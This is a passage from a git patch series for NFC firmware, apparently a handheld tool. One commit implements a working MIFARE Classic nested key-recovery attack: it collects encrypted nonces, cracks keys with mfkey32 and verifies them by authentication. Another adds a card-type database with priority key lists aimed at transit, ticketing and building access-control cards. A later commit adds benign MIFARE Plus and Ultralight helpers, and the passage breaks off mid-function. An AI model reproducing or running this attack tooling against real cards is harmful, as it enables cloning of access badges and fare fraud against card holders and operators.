mfkey32 wants the nr and ar values *as transmitted on the wire* + * (i.e., already XOR'd with keystream). That is exactly what we record. + * -------------------------------------------------------------------------- */ +hb_nfc_err_t mf_nested_collect_sample(uint8_t target_block, + const uint8_t uid[4], + uint32_t nr_chosen, + mf_nested_sample_t* sample) +{ + if (!uid || !sample) return HB_NFC_ERR_PARAM; + + /* ------------------------------------------------------------------ */ + /* 1. Snapshot the live Crypto1 state from the ongoing session. */ + /* ------------------------------------------------------------------ */ + crypto1_state_t st; + mf_classic_get_crypto_state(&st); + + /* ------------------------------------------------------------------ */ + /* 2. Build + encrypt the nested AUTH command (2 bytes). */ + /* For Key A the command byte is 0x60, Key B is 0x61. */ + /* Since we only need the nonce we always probe with Key A first; */ + /* the caller can try both keys in mf_nested_attack(). */ + /* */ + /* Framing: each byte is followed by its parity bit (9 bits/byte), */ + /* packed LSB-first into a byte buffer, mirroring mifare.c. */ + /* ------------------------------------------------------------------ */ + const uint8_t cmd_plain[2] = { (uint8_t)MF_KEY_A, target_block }; + + /* 2 bytes * 9 bits = 18 bits -> 3 bytes in the TX buffer */ + const size_t tx_bits = 2U * 9U; + const size_t tx_bytes = (tx_bits + 7U) / 8U; /* = 3 */ + + uint8_t tx_buf[8] = { 0 }; + size_t bitpos = 0; + + for (int i = 0; i < 2; i++) { + uint8_t plain = cmd_plain[i]; + uint8_t ks = crypto1_byte(&st, 0, 0); + uint8_t enc = plain ^ ks; + + for (int bit = 0; bit < 8; bit++) { + nested_bit_set(tx_buf, bitpos++, (enc >> bit) & 1U); + } + + uint8_t par_ks = crypto1_filter_output(&st); + uint8_t par = crypto1_odd_parity8(plain) ^ par_ks; + nested_bit_set(tx_buf, bitpos++, par); + } + + /* ------------------------------------------------------------------ */ + /* 3. Send encrypted AUTH command (no CRC, manual parity via NO_TX_PAR)*/ + /* ------------------------------------------------------------------ */ + uint8_t iso_reg = 0; + hb_spi_reg_read(REG_ISO14443A, &iso_reg); + hb_spi_reg_write(REG_ISO14443A, + (uint8_t)(iso_reg | ISOA_NO_TX_PAR | ISOA_NO_RX_PAR)); + + st25r_fifo_clear(); + st25r_set_tx_bytes((uint16_t)(tx_bits / 8U), (uint8_t)(tx_bits % 8U)); + st25r_fifo_load(tx_buf, tx_bytes); + hb_spi_direct_cmd(CMD_TX_WO_CRC); + + if (!st25r_irq_wait_txe()) { + hb_spi_reg_write(REG_ISO14443A, iso_reg); + ESP_LOGW(TAG, "nested: TX timeout sending AUTH cmd"); + return HB_NFC_ERR_TX_TIMEOUT; + } + + /* ------------------------------------------------------------------ */ + /* 4. Receive encrypted nt from card: 4 bytes + 4 parity bits = 36 bits*/ + /* -> 5 bytes in the RX buffer. */ + /* ------------------------------------------------------------------ */ + const size_t rx_bits = 4U * 9U; + const size_t rx_bytes = (rx_bits + 7U) / 8U; /* = 5 */ + + uint16_t count = 0; + (void)st25r_fifo_wait(rx_bytes, 20, &count); + if (count < rx_bytes) { + hb_spi_reg_write(REG_ISO14443A, iso_reg); + ESP_LOGW(TAG, "nested: RX timeout waiting for nt (got %u need %u)", + (unsigned)count, (unsigned)rx_bytes); + return HB_NFC_ERR_TIMEOUT; + } + + uint8_t rx_buf[8] = { 0 }; + st25r_fifo_read(rx_buf, rx_bytes); + + /* ------------------------------------------------------------------ */ + /* 5. Decrypt nt: XOR each encrypted byte with keystream. */ + /* ------------------------------------------------------------------ */ + uint8_t nt_bytes[4] = { 0 }; + bitpos = 0; + for (int i = 0; i < 4; i++) { + uint8_t enc_byte = 0; + for (int bit = 0; bit < 8; bit++) { + enc_byte |= (uint8_t)(nested_bit_get(rx_buf, bitpos++) << bit); + } + uint8_t ks = crypto1_byte(&st, 0, 0); + nt_bytes[i] = enc_byte ^ ks; + bitpos++; /* skip parity bit */ + } + + uint32_t nt_plain = be4_to_u32(nt_bytes); + ESP_LOGI(TAG, "nested: block %u nt=0x%08" PRIX32, target_block, nt_plain); + + /* ------------------------------------------------------------------ */ + /* 6. Encrypt nr_chosen and compute + encrypt ar. */ + /* We must send {nr_enc, ar_enc} to complete the handshake so the */ + /* card's PRNG advances (avoids lockout on cards that track state). */ + /* */ + /* For mfkey32 we need the values *as transmitted on the wire*, */ + /* so we record the encrypted versions. */ + /* ------------------------------------------------------------------ */ + + /* --- Prime Crypto1 with nt_plain XOR uid (nested handshake phase) - */ + /* The card's inner Crypto1 for the nested session starts from nt. */ + /* We mimic the same priming used in the normal auth path. */ + uint32_t uid32 = be4_to_u32(uid); + crypto1_word(&st, nt_plain ^ uid32, 0); + + /* --- Encrypt nr_chosen ------------------------------------------- */ + uint8_t nr_plain_bytes[4]; + uint8_t nr_enc_bytes[4]; + u32_to_be4(nr_chosen, nr_plain_bytes); + + /* 8 data bytes (nr + ar) * 9 bits = 72 bits -> 9 bytes */ + const size_t tx2_bits = 8U * 9U; + const size_t tx2_bytes = (tx2_bits + 7U) / 8U; /* = 9 */ + uint8_t tx2_buf[12] = { 0 }; + size_t bitpos2 = 0; + + /* encrypt nr (4 bytes) */ + for (int i = 0; i < 4; i++) { + uint8_t plain = nr_plain_bytes[i]; + uint8_t ks = crypto1_byte(&st, plain, 0); /* feed plaintext nr */ + nr_enc_bytes[i] = plain ^ ks; + + for (int bit = 0; bit < 8; bit++) { + nested_bit_set(tx2_buf, bitpos2++, (nr_enc_bytes[i] >> bit) & 1U); + } + uint8_t par_ks = crypto1_filter_output(&st); + uint8_t par = crypto1_odd_parity8(plain) ^ par_ks; + nested_bit_set(tx2_buf, bitpos2++, par); + } + + /* compute ar = prng_successor(nt_plain, 64) */ + uint32_t ar_plain_word = crypto1_prng_successor(nt_plain, 64); + uint8_t ar_plain_bytes[4]; + uint8_t ar_enc_bytes[4]; + u32_to_be4(ar_plain_word, ar_plain_bytes); + + /* encrypt ar (4 bytes, feeding 0 — free-running LFSR) */ + for (int i = 0; i < 4; i++) { + uint8_t plain = ar_plain_bytes[i]; + uint8_t ks = crypto1_byte(&st, 0, 0); + ar_enc_bytes[i] = plain ^ ks; + + for (int bit = 0; bit < 8; bit++) { + nested_bit_set(tx2_buf, bitpos2++, (ar_enc_bytes[i] >> bit) & 1U); + } + uint8_t par_ks = crypto1_filter_output(&st); + uint8_t par = crypto1_odd_parity8(plain) ^ par_ks; + nested_bit_set(tx2_buf, bitpos2++, par); + } + + /* ------------------------------------------------------------------ */ + /* 7. Transmit {nr_enc, ar_enc} to close the nested handshake. */ + /* We do not wait for the card's at response — we only needed nt. */ + /* ------------------------------------------------------------------ */ + st25r_fifo_clear(); + st25r_set_tx_bytes((uint16_t)(tx2_bits / 8U), (uint8_t)(tx2_bits % 8U)); + st25r_fifo_load(tx2_buf, tx2_bytes); + hb_spi_direct_cmd(CMD_TX_WO_CRC); + + /* Wait for TX to finish; ignore RX response (at) */ + (void)st25r_irq_wait_txe(); + + hb_spi_reg_write(REG_ISO14443A, iso_reg); + + /* ------------------------------------------------------------------ */ + /* 8. Record the sample. */ + /* nr_enc and ar_enc are the on-wire (encrypted) values as needed */ + /* by mfkey32. */ + /* ------------------------------------------------------------------ */ + sample->nt = nt_plain; + sample->nr_enc = be4_to_u32(nr_enc_bytes); + sample->ar_enc = be4_to_u32(ar_enc_bytes); + + ESP_LOGI(TAG, "nested sample: nt=0x%08" PRIX32 " nr_enc=0x%08" PRIX32 + " ar_enc=0x%08" PRIX32, + sample->nt, sample->nr_enc, sample->ar_enc); + + return HB_NFC_OK; +} + +/* -------------------------------------------------------------------------- + * mf_nested_attack + * + * Full nested attack: + * 1. Derive first blocks for source and target sectors. + * 2. Collect MF_NESTED_SAMPLE_COUNT samples (each round: reselect, auth src, + * probe target). + * 3. Try mfkey32 on consecutive sample pairs. + * 4. For each candidate key64, try Key A then Key B by real auth. + * 5. Return the verified key. + * -------------------------------------------------------------------------- */ +hb_nfc_err_t mf_nested_attack(nfc_iso14443a_data_t* card, + uint8_t src_sector, + const mf_classic_key_t* src_key, + mf_key_type_t src_key_type, + uint8_t target_sector, + mf_classic_key_t* found_key_out, + mf_key_type_t* found_key_type_out) +{ + if (!card || !src_key || !found_key_out || !found_key_type_out) + return HB_NFC_ERR_PARAM; + + uint8_t src_block = sector_to_first_block(src_sector); + uint8_t target_block = sector_to_first_block(target_sector); + + ESP_LOGI(TAG, "nested attack: src_sector=%u (block %u) target_sector=%u (block %u)", + src_sector, src_block, target_sector, target_block); + + /* ------------------------------------------------------------------ */ + /* Collect samples. */ + /* ------------------------------------------------------------------ */ + mf_nested_sample_t samples[MF_NESTED_SAMPLE_COUNT]; + int n_samples = 0; + + for (int attempt = 0; attempt < MF_NESTED_MAX_ATTEMPTS && n_samples < MF_NESTED_SAMPLE_COUNT; attempt++) { + + /* Reset auth state and reselect the card. */ + mf_classic_reset_auth(); + + hb_nfc_err_t sel_err = iso14443a_poller_reselect(card); + if (sel_err != HB_NFC_OK) { + ESP_LOGW(TAG, "nested: reselect failed on attempt %d (%d)", attempt, sel_err); + continue; + } + + /* Authenticate to the known source sector. */ + hb_nfc_err_t auth_err = mf_classic_auth(src_block, src_key_type, + src_key, card->uid); + if (auth_err != HB_NFC_OK) { + ESP_LOGW(TAG, "nested: src auth failed on attempt %d (%d)", attempt, auth_err); + continue; + } + + /* + * Choose a deterministic nr so that if we run the attack twice with + * the same uid+key pair the mfkey32 inputs are reproducible. + * Using a counter-based value as specified. + */ + uint32_t nr_chosen = 0xDEAD0000U + (uint32_t)attempt; + + hb_nfc_err_t sample_err = mf_nested_collect_sample(target_block, + card->uid, + nr_chosen, + &samples[n_samples]); + if (sample_err == HB_NFC_OK) { + n_samples++; + ESP_LOGI(TAG, "nested: collected sample %d/%d", + n_samples, MF_NESTED_SAMPLE_COUNT); + } else { + ESP_LOGW(TAG, "nested: collect_sample failed on attempt %d (%d)", + attempt, sample_err); + } + } + + if (n_samples < 2) { + ESP_LOGE(TAG, "nested: not enough samples (got %d, need >= 2)", n_samples); + return HB_NFC_ERR_AUTH; + } + + ESP_LOGI(TAG, "nested: running mfkey32 on %d sample pairs", n_samples - 1); + + /* ------------------------------------------------------------------ */ + /* Run mfkey32 on consecutive pairs and verify each candidate. */ + /* ------------------------------------------------------------------ */ + uint32_t uid32 = ((uint32_t)card->uid[0] << 24) | + ((uint32_t)card->uid[1] << 16) | + ((uint32_t)card->uid[2] << 8) | + (uint32_t)card->uid[3]; + + for (int i = 0; i < n_samples - 1; i++) { + uint64_t key64 = 0; + + bool found = mfkey32(uid32, + samples[i].nt, samples[i].nr_enc, samples[i].ar_enc, + samples[i+1].nt, samples[i+1].nr_enc, samples[i+1].ar_enc, + &key64); + if (!found) { + ESP_LOGD(TAG, "nested: mfkey32 pair %d/%d: no candidate", i, i + 1); + continue; + } + + ESP_LOGI(TAG, "nested: mfkey32 pair %d/%d: candidate 0x%012" PRIX64, + i, i + 1, key64); + + /* Convert key64 to mf_classic_key_t (big-endian, 6 bytes). */ + mf_classic_key_t k; + uint64_t tmp = key64; + for (int b = 5; b >= 0; b--) { + k.data[b] = (uint8_t)(tmp & 0xFFU); + tmp >>= 8; + } + + /* Verify by real authentication — try Key A, then Key B. */ + mf_classic_reset_auth(); + if (iso14443a_poller_reselect(card) != HB_NFC_OK) { + ESP_LOGW(TAG, "nested: reselect failed during verification"); + continue; + } + + if (mf_classic_auth(target_block, MF_KEY_A, &k, card->uid) == HB_NFC_OK) { + ESP_LOGI(TAG, "nested: KEY A verified for sector %u", target_sector); + *found_key_out = k; + *found_key_type_out = MF_KEY_A; + return HB_NFC_OK; + } + + mf_classic_reset_auth(); + if (iso14443a_poller_reselect(card) != HB_NFC_OK) { + ESP_LOGW(TAG, "nested: reselect failed during Key B verification"); + continue; + } + + if (mf_classic_auth(target_block, MF_KEY_B, &k, card->uid) == HB_NFC_OK) { + ESP_LOGI(TAG, "nested: KEY B verified for sector %u", target_sector); + *found_key_out = k; + *found_key_type_out = MF_KEY_B; + return HB_NFC_OK; + } + + ESP_LOGD(TAG, "nested: candidate key failed real auth for sector %u", target_sector); + } + + ESP_LOGW(TAG, "nested: attack exhausted all pairs — no key found for sector %u", + target_sector); + return HB_NFC_ERR_AUTH; +} From 7cd20c6126d47c668439d304e33a669c985336df Mon Sep 17 00:00:00 2001 From: luis_thiago <95657866+lthiagovs@users.noreply.github.com> Date: Thu, 19 Mar 2026 00:17:02 -0300 Subject: [PATCH 40/61] feat(nfc): add known card detection --- .../protocols/mifare/include/mf_known_cards.h | 44 ++++ .../nfc/protocols/mifare/mf_known_cards.c | 243 ++++++++++++++++++ 2 files changed, 287 insertions(+) create mode 100644 firmware_p4/components/Applications/nfc/protocols/mifare/include/mf_known_cards.h create mode 100644 firmware_p4/components/Applications/nfc/protocols/mifare/mf_known_cards.c diff --git a/firmware_p4/components/Applications/nfc/protocols/mifare/include/mf_known_cards.h b/firmware_p4/components/Applications/nfc/protocols/mifare/include/mf_known_cards.h new file mode 100644 index 00000000..697f68cb --- /dev/null +++ b/firmware_p4/components/Applications/nfc/protocols/mifare/include/mf_known_cards.h @@ -0,0 +1,44 @@ +#ifndef MF_KNOWN_CARDS_H +#define MF_KNOWN_CARDS_H + +#include +#include + +#ifdef __cplusplus +extern "C" { +#endif + +/* + * Known MIFARE Classic card type database. + * + * Matches a card by SAK + ATQA (and optionally UID prefix). + * When a match is found, provides: + * - Human-readable name and hint string + * - Priority key list to try BEFORE the full dictionary + * (these keys are card-type-specific and will hit much faster) + */ + +typedef struct { + const char* name; + const char* hint; + uint8_t sak; + uint8_t atqa[2]; + uint8_t uid_prefix[4]; + uint8_t uid_prefix_len; /* 0 = do not check UID prefix */ + const uint8_t (*hint_keys)[6]; /* priority keys, may be NULL */ + int hint_key_count; +} mf_known_card_t; + +/* + * Try to match a card against the database. + * Returns a pointer to the matched entry, or NULL if unknown. + */ +const mf_known_card_t* mf_known_cards_match(uint8_t sak, + const uint8_t atqa[2], + const uint8_t* uid, + uint8_t uid_len); + +#ifdef __cplusplus +} +#endif +#endif /* MF_KNOWN_CARDS_H */ diff --git a/firmware_p4/components/Applications/nfc/protocols/mifare/mf_known_cards.c b/firmware_p4/components/Applications/nfc/protocols/mifare/mf_known_cards.c new file mode 100644 index 00000000..79fbef8d --- /dev/null +++ b/firmware_p4/components/Applications/nfc/protocols/mifare/mf_known_cards.c @@ -0,0 +1,243 @@ +#include "mf_known_cards.h" +#include +#include + +/* ------------------------------------------------------------------------- + * Priority key pools (publicly known / documented keys from Proxmark/MFOC + * databases — same sources as our main dictionary, just pre-filtered by + * card type so we hit them on the first pass instead of scanning all 83). + * ------------------------------------------------------------------------- */ + +/* Keys found on virtually every fresh/factory MIFARE card */ +static const uint8_t s_default_keys[][6] = { + { 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF }, + { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }, + { 0xA0, 0xA1, 0xA2, 0xA3, 0xA4, 0xA5 }, /* MAD / transport */ + { 0xB0, 0xB1, 0xB2, 0xB3, 0xB4, 0xB5 }, + { 0xD3, 0xF7, 0xD3, 0xF7, 0xD3, 0xF7 }, /* NDEF */ +}; + +/* Infineon MIFARE Classic — ships with a different default set */ +static const uint8_t s_infineon_keys[][6] = { + { 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF }, + { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }, + { 0x88, 0x44, 0x06, 0x30, 0x13, 0x15 }, /* Infineon documented default */ + { 0xA0, 0xA1, 0xA2, 0xA3, 0xA4, 0xA5 }, +}; + +/* NXP SmartMX / P60 — ISO14443-4 + Classic combo */ +static const uint8_t s_smartmx_keys[][6] = { + { 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF }, + { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }, + { 0xA0, 0xA1, 0xA2, 0xA3, 0xA4, 0xA5 }, + { 0xD3, 0xF7, 0xD3, 0xF7, 0xD3, 0xF7 }, + { 0x4D, 0x3A, 0x99, 0xC3, 0x51, 0xDD }, +}; + +/* Common transit / ticketing keys (public Proxmark/MFOC database) */ +static const uint8_t s_transit_keys[][6] = { + { 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF }, + { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }, + { 0xA0, 0xA1, 0xA2, 0xA3, 0xA4, 0xA5 }, + { 0xD3, 0xF7, 0xD3, 0xF7, 0xD3, 0xF7 }, + { 0x4D, 0x3A, 0x99, 0xC3, 0x51, 0xDD }, + { 0x1A, 0x98, 0x2C, 0x7E, 0x45, 0x9A }, + { 0x71, 0x4C, 0x5C, 0x88, 0x6E, 0x97 }, + { 0x58, 0x7E, 0xE5, 0xF9, 0x35, 0x0F }, + { 0xA0, 0x47, 0x8C, 0xC3, 0x90, 0x91 }, + { 0x53, 0x3C, 0xB6, 0xC7, 0x23, 0xF6 }, + { 0x8F, 0xD0, 0xA4, 0xF2, 0x56, 0xE9 }, + { 0xAA, 0xBB, 0xCC, 0xDD, 0xEE, 0xFF }, +}; + +/* Access-control / building management keys (Proxmark public DB) */ +static const uint8_t s_access_keys[][6] = { + { 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF }, + { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }, + { 0xA0, 0xA1, 0xA2, 0xA3, 0xA4, 0xA5 }, + { 0xA0, 0xB0, 0xC0, 0xD0, 0xE0, 0xF0 }, + { 0xAA, 0xBB, 0xCC, 0xDD, 0xEE, 0xFF }, + { 0x4D, 0x3A, 0x99, 0xC3, 0x51, 0xDD }, + { 0x1A, 0x98, 0x2C, 0x7E, 0x45, 0x9A }, + { 0x71, 0x4C, 0x5C, 0x88, 0x6E, 0x97 }, + { 0x8F, 0xD0, 0xA4, 0xF2, 0x56, 0xE9 }, +}; + +/* Magic/writable clone cards almost always respond to FF...FF or 00...00 */ +static const uint8_t s_clone_keys[][6] = { + { 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF }, + { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }, + { 0xA0, 0xA1, 0xA2, 0xA3, 0xA4, 0xA5 }, + { 0xD3, 0xF7, 0xD3, 0xF7, 0xD3, 0xF7 }, +}; + +#define NKEYS(arr) ((int)(sizeof(arr) / sizeof(arr[0]))) + +/* ------------------------------------------------------------------------- + * Known card database + * + * Match order matters — more specific entries (UID prefix) must come before + * generic ones with the same SAK/ATQA. + * ------------------------------------------------------------------------- */ +static const mf_known_card_t s_db[] = { + + /* ---- UID-prefix-specific entries (most specific, checked first) ---- */ + + /* NXP manufactured: UID[0] == 0x04 */ + { + .name = "NXP MIFARE Classic 1K", + .hint = "Genuine NXP (cascade byte 0x04)", + .sak = 0x08, + .atqa = { 0x00, 0x04 }, + .uid_prefix = { 0x04 }, + .uid_prefix_len = 1, + .hint_keys = s_default_keys, + .hint_key_count = NKEYS(s_default_keys), + }, + { + .name = "NXP MIFARE Classic 4K", + .hint = "Genuine NXP (cascade byte 0x04)", + .sak = 0x18, + .atqa = { 0x00, 0x02 }, + .uid_prefix = { 0x04 }, + .uid_prefix_len = 1, + .hint_keys = s_default_keys, + .hint_key_count = NKEYS(s_default_keys), + }, + + /* ---- Clone / magic cards ---- */ + + /* SAK=0x08, ATQA=00 44 — Gen2 / CUID / direct-write clones */ + { + .name = "MIFARE Classic 1K Clone (Gen2/CUID)", + .hint = "UID changeable, writable block 0", + .sak = 0x08, + .atqa = { 0x00, 0x44 }, + .uid_prefix_len = 0, + .hint_keys = s_clone_keys, + .hint_key_count = NKEYS(s_clone_keys), + }, + /* SAK=0x18, ATQA=00 42 — 4K clone */ + { + .name = "MIFARE Classic 4K Clone", + .hint = "UID changeable clone", + .sak = 0x18, + .atqa = { 0x00, 0x42 }, + .uid_prefix_len = 0, + .hint_keys = s_clone_keys, + .hint_key_count = NKEYS(s_clone_keys), + }, + /* SAK=0x88 — Infineon SLE66R35 */ + { + .name = "Infineon MIFARE Classic 1K", + .hint = "SLE66R35, used in older access/transit systems", + .sak = 0x88, + .atqa = { 0x00, 0x04 }, + .uid_prefix_len = 0, + .hint_keys = s_infineon_keys, + .hint_key_count = NKEYS(s_infineon_keys), + }, + + /* ---- ISO14443-4 combo chips ---- */ + + /* SAK=0x28 — NXP SmartMX / P60 MIFARE Classic 1K + ISO14443-4 */ + { + .name = "NXP SmartMX MIFARE Classic 1K", + .hint = "P60/P40 combo chip, SAK=0x28", + .sak = 0x28, + .atqa = { 0x00, 0x04 }, + .uid_prefix_len = 0, + .hint_keys = s_smartmx_keys, + .hint_key_count = NKEYS(s_smartmx_keys), + }, + /* SAK=0x38 — NXP SmartMX 4K */ + { + .name = "NXP SmartMX MIFARE Classic 4K", + .hint = "P60/P40 combo chip, SAK=0x38", + .sak = 0x38, + .atqa = { 0x00, 0x02 }, + .uid_prefix_len = 0, + .hint_keys = s_smartmx_keys, + .hint_key_count = NKEYS(s_smartmx_keys), + }, + + /* ---- Transit / ticketing (no specific UID prefix, known by ATQA) ---- */ + + /* Many Brazilian transit cards: SAK=0x08, ATQA=00 04 — generic 1K */ + { + .name = "Transit/Ticketing Card (1K)", + .hint = "Common for metro/bus access systems", + .sak = 0x08, + .atqa = { 0x00, 0x04 }, + .uid_prefix_len = 0, + .hint_keys = s_transit_keys, + .hint_key_count = NKEYS(s_transit_keys), + }, + /* 4K transit cards */ + { + .name = "Transit/Ticketing Card (4K)", + .hint = "Large-memory transit card", + .sak = 0x18, + .atqa = { 0x00, 0x02 }, + .uid_prefix_len = 0, + .hint_keys = s_transit_keys, + .hint_key_count = NKEYS(s_transit_keys), + }, + + /* ---- Access control ---- */ + + /* SAK=0x08, ATQA=00 04 with common access-control key patterns */ + { + .name = "Access Control Card (1K)", + .hint = "Building/door access system", + .sak = 0x08, + .atqa = { 0x08, 0x00 }, + .uid_prefix_len = 0, + .hint_keys = s_access_keys, + .hint_key_count = NKEYS(s_access_keys), + }, + + /* ---- MIFARE Mini ---- */ + { + .name = "MIFARE Mini", + .hint = "320 bytes / 5 sectors", + .sak = 0x09, + .atqa = { 0x00, 0x04 }, + .uid_prefix_len = 0, + .hint_keys = s_default_keys, + .hint_key_count = NKEYS(s_default_keys), + }, +}; + +#define DB_SIZE ((int)(sizeof(s_db) / sizeof(s_db[0]))) + +/* ------------------------------------------------------------------------- + * Matching logic + * ------------------------------------------------------------------------- */ +const mf_known_card_t* mf_known_cards_match(uint8_t sak, + const uint8_t atqa[2], + const uint8_t* uid, + uint8_t uid_len) +{ + const mf_known_card_t* generic_match = NULL; + + for (int i = 0; i < DB_SIZE; i++) { + const mf_known_card_t* e = &s_db[i]; + + if (e->sak != sak) continue; + if (e->atqa[0] != atqa[0] || e->atqa[1] != atqa[1]) continue; + + if (e->uid_prefix_len > 0) { + /* UID-specific entry */ + if (uid_len < e->uid_prefix_len) continue; + if (memcmp(uid, e->uid_prefix, e->uid_prefix_len) != 0) continue; + /* Specific match wins immediately */ + return e; + } else { + /* Generic match — remember first, keep looking for specific */ + if (generic_match == NULL) generic_match = e; + } + } + + return generic_match; +} From 24b3e38221e1c007306a728b6c151b4482ae58a3 Mon Sep 17 00:00:00 2001 From: luis_thiago <95657866+lthiagovs@users.noreply.github.com> Date: Thu, 19 Mar 2026 00:17:27 -0300 Subject: [PATCH 41/61] feat(nfc): add MIFARE Plus support --- .../nfc/protocols/mifare/include/mf_plus.h | 76 +++++++ .../protocols/mifare/include/mf_ultralight.h | 54 +++++ .../nfc/protocols/mifare/mf_plus.c | 214 ++++++++++++++++++ 3 files changed, 344 insertions(+) create mode 100644 firmware_p4/components/Applications/nfc/protocols/mifare/include/mf_plus.h create mode 100644 firmware_p4/components/Applications/nfc/protocols/mifare/include/mf_ultralight.h create mode 100644 firmware_p4/components/Applications/nfc/protocols/mifare/mf_plus.c diff --git a/firmware_p4/components/Applications/nfc/protocols/mifare/include/mf_plus.h b/firmware_p4/components/Applications/nfc/protocols/mifare/include/mf_plus.h new file mode 100644 index 00000000..e4f7cf6c --- /dev/null +++ b/firmware_p4/components/Applications/nfc/protocols/mifare/include/mf_plus.h @@ -0,0 +1,76 @@ +/** + * @file mf_plus.h + * @brief MiFARE Plus SL3 auth and crypto helpers. + */ +#ifndef MF_PLUS_H +#define MF_PLUS_H + +#include +#include +#include + +#include "highboy_nfc_error.h" +#include "highboy_nfc_types.h" +#include "iso_dep.h" + +#ifdef __cplusplus +extern "C" { +#endif + +typedef struct { + nfc_iso_dep_data_t dep; + bool dep_ready; + bool authenticated; + uint8_t ses_enc[16]; + uint8_t ses_auth[16]; + uint8_t iv_enc[16]; + uint8_t iv_mac[16]; +} mfp_session_t; + +hb_nfc_err_t mfp_poller_init(const nfc_iso14443a_data_t* card, + mfp_session_t* session); + +int mfp_apdu_transceive(mfp_session_t* session, + const uint8_t* apdu, + size_t apdu_len, + uint8_t* rx, + size_t rx_max, + int timeout_ms); + +uint16_t mfp_key_block_addr(uint8_t sector, bool key_b); + +void mfp_sl3_derive_session_keys(const uint8_t* rnd_a, + const uint8_t* rnd_b, + uint8_t* ses_enc, + uint8_t* ses_auth); + +hb_nfc_err_t mfp_sl3_auth_first(mfp_session_t* session, + uint16_t block_addr, + const uint8_t key[16]); + +hb_nfc_err_t mfp_sl3_auth_nonfirst(mfp_session_t* session, + uint16_t block_addr, + const uint8_t key[16]); + +int mfp_sl3_compute_mac(const mfp_session_t* session, + const uint8_t* data, + size_t data_len, + uint8_t mac8[8]); + +size_t mfp_sl3_encrypt(mfp_session_t* session, + const uint8_t* plain, + size_t plain_len, + uint8_t* out, + size_t out_max); + +size_t mfp_sl3_decrypt(mfp_session_t* session, + const uint8_t* enc, + size_t enc_len, + uint8_t* out, + size_t out_max); + +#ifdef __cplusplus +} +#endif + +#endif /* MF_PLUS_H */ diff --git a/firmware_p4/components/Applications/nfc/protocols/mifare/include/mf_ultralight.h b/firmware_p4/components/Applications/nfc/protocols/mifare/include/mf_ultralight.h new file mode 100644 index 00000000..01c3f3f3 --- /dev/null +++ b/firmware_p4/components/Applications/nfc/protocols/mifare/include/mf_ultralight.h @@ -0,0 +1,54 @@ +/** + * @file mf_ultralight.h + * @brief MIFARE Ultralight / NTAG READ, WRITE, PWD_AUTH, GET_VERSION. + * + * These commands are proven in the working code (ntag_get_version, + * ntag_pwd_auth, st25r_read_pages). + */ +#ifndef MF_ULTRALIGHT_H +#define MF_ULTRALIGHT_H + +#include +#include "highboy_nfc_error.h" + +/** + * READ (cmd 0x30) reads 4 pages (16 bytes) starting at page. + * From working code st25r_read_pages(). + * Returns bytes received (16 expected + 2 CRC = 18), 0 on fail. + */ +int mful_read_pages(uint8_t page, uint8_t out[18]); + +/** + * WRITE (cmd 0xA2) writes 4 bytes to one page. + */ +hb_nfc_err_t mful_write_page(uint8_t page, const uint8_t data[4]); + +/** + * GET_VERSION (cmd 0x60) returns 8 bytes (NTAG). + * From working code ntag_get_version(). + */ +int mful_get_version(uint8_t out[8]); + +/** + * PWD_AUTH (cmd 0x1B) authenticate with 4-byte password. + * Returns PACK (2 bytes) on success. + * From working code ntag_pwd_auth(). + */ +int mful_pwd_auth(const uint8_t pwd[4], uint8_t pack[2]); + +/** + * AUTH (cmd 0x1A) MIFARE Ultralight C 3DES mutual authentication. + * @param key 16-byte (2-key) 3DES key. + * @return HB_NFC_OK on success. + */ +hb_nfc_err_t mful_ulc_auth(const uint8_t key[16]); + +/** + * READ all pages of an Ultralight/NTAG card. + * @param data Output buffer (must be large enough). + * @param max_pages Maximum number of pages to read. + * @return Number of pages read. + */ +int mful_read_all(uint8_t* data, int max_pages); + +#endif diff --git a/firmware_p4/components/Applications/nfc/protocols/mifare/mf_plus.c b/firmware_p4/components/Applications/nfc/protocols/mifare/mf_plus.c new file mode 100644 index 00000000..5a281a24 --- /dev/null +++ b/firmware_p4/components/Applications/nfc/protocols/mifare/mf_plus.c @@ -0,0 +1,214 @@ +/** + * @file mf_plus.c + * @brief MiFARE Plus SL3 auth and crypto helpers. + */ +#include "mf_plus.h" + +#include + +#include "nfc_crypto.h" +#include "esp_log.h" +#include "esp_random.h" + +#define TAG "mf_plus" + +#define MFP_CLA 0x90 +#define MFP_SW_OK 0x9100 +#define MFP_SW_MORE 0x91AF + +static void rand_bytes(uint8_t* out, size_t len) +{ + if (!out || len == 0) return; + for (size_t i = 0; i < len; i += 4) { + uint32_t r = esp_random(); + size_t left = len - i; + size_t n = left < 4 ? left : 4; + memcpy(&out[i], &r, n); + } +} + +static void rotate_left_1(uint8_t* out, const uint8_t* in, size_t len) +{ + if (!out || !in || len == 0) return; + for (size_t i = 0; i < len - 1; i++) out[i] = in[i + 1]; + out[len - 1] = in[0]; +} + +hb_nfc_err_t mfp_poller_init(const nfc_iso14443a_data_t* card, + mfp_session_t* session) +{ + if (!card || !session) return HB_NFC_ERR_PARAM; + memset(session, 0, sizeof(*session)); + hb_nfc_err_t err = iso_dep_rats(8, 0, &session->dep); + if (err == HB_NFC_OK) session->dep_ready = true; + return err; +} + +int mfp_apdu_transceive(mfp_session_t* session, + const uint8_t* apdu, + size_t apdu_len, + uint8_t* rx, + size_t rx_max, + int timeout_ms) +{ + if (!session || !session->dep_ready) return 0; + return iso_dep_apdu_transceive(&session->dep, apdu, apdu_len, rx, rx_max, timeout_ms); +} + +uint16_t mfp_key_block_addr(uint8_t sector, bool key_b) +{ + return (uint16_t)(0x4000U + (uint16_t)sector * 2U + (key_b ? 1U : 0U)); +} + +void mfp_sl3_derive_session_keys(const uint8_t* rnd_a, + const uint8_t* rnd_b, + uint8_t* ses_enc, + uint8_t* ses_auth) +{ + if (!rnd_a || !rnd_b || !ses_enc || !ses_auth) return; + memcpy(ses_enc + 0, rnd_a + 0, 4); + memcpy(ses_enc + 4, rnd_b + 0, 4); + memcpy(ses_enc + 